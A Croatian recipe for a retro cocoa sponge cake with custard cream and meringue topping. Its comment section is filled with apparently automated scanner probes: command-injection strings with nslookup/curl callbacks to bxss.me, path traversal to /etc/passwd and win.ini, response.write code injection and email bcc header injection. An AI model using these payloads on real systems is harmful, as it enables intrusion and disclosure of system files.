Nekada tako popularan i omiljen a već dugo potpuno zaboravljen.
Biskvit:
5 jaja
180 g šećera
200 g oštrog brašna
1 žlica vode
2 žlice kakaa
Pećnicu zagrijte na 180C. Pripremite lim za pečenje (moj je dimenzija 30x32 a može biti i onaj uži i duži) - premažite ga uljem i pospite oštrim brašnom.
Pomiješajte brašno s kakaom i skupa prosijte.
Bjelanjke izradite u čvrt snijeg, uz stalno miksanje dodajte im šećer a zatim i vodu. Sada dodajte jedan po jedan žumanjak i na kraju brašno s kakaom.
Smjesu ulijte u pripremljeni lim, stavite u zagrijanu pećnicu i pecite oko 30 minuta.
Za to vrijeme pripremite preljev i kremu.
Preljev za biskvit:
1 dl mlijeka
1 žlica šećera
1 žličica vanilije
U manju šerpicu stavite sve sastojke i kratko prokuhajte.
Pečeni biskvit preokrenite naopako pa žlicom ravnomjerno nanesite preljev. Ako vam se biskvit i dalje čini suh, poškropite ga s još malo mlijeka.
Inače, preokretanje biskvita nije obavezno, ja ga preokrenem zato da mi ona sjajna strana biskvita ostane dolje, jer se taj tanki sloj hoće lijepiti za kreme i odvajati od ostatka biskvita, vjerojatno ste se susretali s tim nekada.
Krema:
1/2 l mlijeka
100 g šećera
5 žumanjaka
5 žlica brašna
200 g maslaca
100 g šećera u prahu
U posudi zakuhajte mlijeko.
U drugoj posudi dobro izradite žumanjke sa šećerom, nakon 2-3 minute miksanja dodajte malo vrućeg mlijeka da se jaja temperiraju, promiješajte pa dodajte brašno i sve skupa ulijte u posudu s mlijekom. Smanjite vatru (ili nakratko maknite s vatre) i brzo miješajte kremu pjenjačom kako se ne bi zgrudala. Kuhajte kremu na laganoj vatri nekoliko minuta, dok se ne zgusne, maknite s vatre i ostavite da se ohladi.
Pjenasto izradite maslac i štaub šećer pa im dodajte ohlađenu kremu i sve još kratko miksajte da se sve fino sjedini.
Žutu kremu nanesite na ohlađeni biskvit.
Sada još napravite šaum.
Snijeg (šaum):
5 bjelanjaka
200 g šećera
sok 1/2 limuna
malo vode (2-3 žlice)
U lončić stavite 100 g šećera, dodajte vodu i stavite na vatru. Kuhajte na laganoj vatri dok ne nastane gušći sirup.
Dok se sirup kuha bjelanjke izradite u čvrst snijeg, dodajte im preostali šećer (100 g), još miješajte minutu-dvije. Sada sirup maknite s vatre i uz stalno miksanje ulijte ga u bjelanjke, lagano, u tankom mlazu. Bjelanjci će postati prekrasno sjajni.
Na kraju dodajte limunov sok i sve još kratko promiješajte.
Snijeg od bjelanjaka nanesite preko žute kreme.
Kolač možete posuti kakaom ili čokoladom u prahu.
Dobro ga ohladite prije posluživanja.
I guštajte ;))
Komentari
Dodaj komentar555
ghovjnjv 21.11.2023 01:48
1Cfe3PAdPQO
ghovjnjv 21.11.2023 01:48
555
1YhBchIglO 21.11.2023 01:48
response.write(9906050*9094116)
ghovjnjv 21.11.2023 01:48
echo nwurlb$()\ xsvmlt\nz^xyu||a #' &echo nwurlb$()\ xsvmlt\nz^xyu||a #|" &echo nwurlb$()\ xsvmlt\nz^xyu||a #
ghovjnjv 21.11.2023 01:48
'+response.write(9906050*9094116)+'
ghovjnjv 21.11.2023 01:48
&echo arqjhn$()\ qkusel\nz^xyu||a #' &echo arqjhn$()\ qkusel\nz^xyu||a #|" &echo arqjhn$()\ qkusel\nz^xyu||a #
ghovjnjv 21.11.2023 01:48
"+response.write(9906050*9094116)+"
ghovjnjv 21.11.2023 01:48
555&echo jzutvd$()\ kgujas\nz^xyu||a #' &echo jzutvd$()\ kgujas\nz^xyu||a #|" &echo jzutvd$()\ kgujas\nz^xyu||a #
ghovjnjv 21.11.2023 01:48
|echo fnequq$()\ uvuxzr\nz^xyu||a #' |echo fnequq$()\ uvuxzr\nz^xyu||a #|" |echo fnequq$()\ uvuxzr\nz^xyu||a #
ghovjnjv 21.11.2023 01:48
742CjJEy
ghovjnjv 21.11.2023 01:48
555|echo gyskmw$()\ qrdupo\nz^xyu||a #' |echo gyskmw$()\ qrdupo\nz^xyu||a #|" |echo gyskmw$()\ qrdupo\nz^xyu||a #
ghovjnjv 21.11.2023 01:48
(nslookup -q=cname hitadjoxzexvd1d6f2.bxss.me||curl hitadjoxzexvd1d6f2.bxss.me))
ghovjnjv 21.11.2023 01:48
555
yGNDQo1g 21.11.2023 01:48
555
response.write(9402454*9434922) 21.11.2023 01:48
$(nslookup -q=cname hitgqxahdpizt494ef.bxss.me||curl hitgqxahdpizt494ef.bxss.me)
ghovjnjv 21.11.2023 01:48
../../../../../../../../../../../../../../etc/passwd
ghovjnjv 21.11.2023 01:48
555
'+response.write(9402454*9434922)+' 21.11.2023 01:48
&nslookup -q=cname hitsfktbciaku8fc4b.bxss.me&'\"`0&nslookup -q=cname hitsfktbciaku8fc4b.bxss.me&`'
ghovjnjv 21.11.2023 01:48
../../../../../../../../../../../../../../windows/win.ini
ghovjnjv 21.11.2023 01:48
555
"+response.write(9402454*9434922)+" 21.11.2023 01:48
&(nslookup -q=cname hitakbsdgbriz78255.bxss.me||curl hitakbsdgbriz78255.bxss.me)&'\"`0&(nslookup -q=cname hitakbsdgbriz78255.bxss.me||curl hitakbsdgbriz78255.bxss.me)&`'
ghovjnjv 21.11.2023 01:48
file:///etc/passwd
ghovjnjv 21.11.2023 01:48
555
bcc:074625.146-519131.146.1c4f6.19682.2@bxss.me
ghovjnjv 21.11.2023 01:48
|(nslookup -q=cname hitgehvlggnva1a5f4.bxss.me||curl hitgehvlggnva1a5f4.bxss.me)
ghovjnjv 21.11.2023 01:48
555
ghovjnjv 21.11.2023 01:48
to@example.com>
bcc:074625.146-519132.146.1c4f6.19682.2@bxss.me
ghovjnjv 21.11.2023 01:48
`(nslookup -q=cname hitltjkeyhibiab3cf.bxss.me||curl hitltjkeyhibiab3cf.bxss.me)`
ghovjnjv 21.11.2023 01:48
../555
ghovjnjv 21.11.2023 01:48
;(nslookup -q=cname hitrqtdxltaer85be1.bxss.me||curl hitrqtdxltaer85be1.bxss.me)|(nslookup -q=cname hitrqtdxltaer85be1.bxss.me||curl hitrqtdxltaer85be1.bxss.me)&(nslookup -q=cname hitrqtdxltaer85be1.bxss.me||curl hitrqtdxltaer85be1.bxss.me)
ghovjnjv 21.11.2023 01:48
555
ghovjnjv 21.11.2023 01:48
555
ghovjnjv bcc:074625.146-519135.146.1c4f6.19682.2@bxss.me 21.11.2023 01:48
555
to@example.com> bcc:074625.146-519136.146.1c4f6.19682.2@bxss.me 21.11.2023 01:48
555
ghovjnjv 21.11.2023 01:48
555
../../../../../../../../../../../../../../etc/passwd 21.11.2023 01:48
12345'"\'\");|]*{
ghovjnjv 21.11.2023 01:48
555
../../../../../../../../../../../../../../windows/win.ini 21.11.2023 01:48
555
file:///etc/passwd 21.11.2023 01:48
555
ghovjnjv 21.11.2023 01:48
555
../ghovjnjv 21.11.2023 01:48
555
12345'"\'\");|]* { <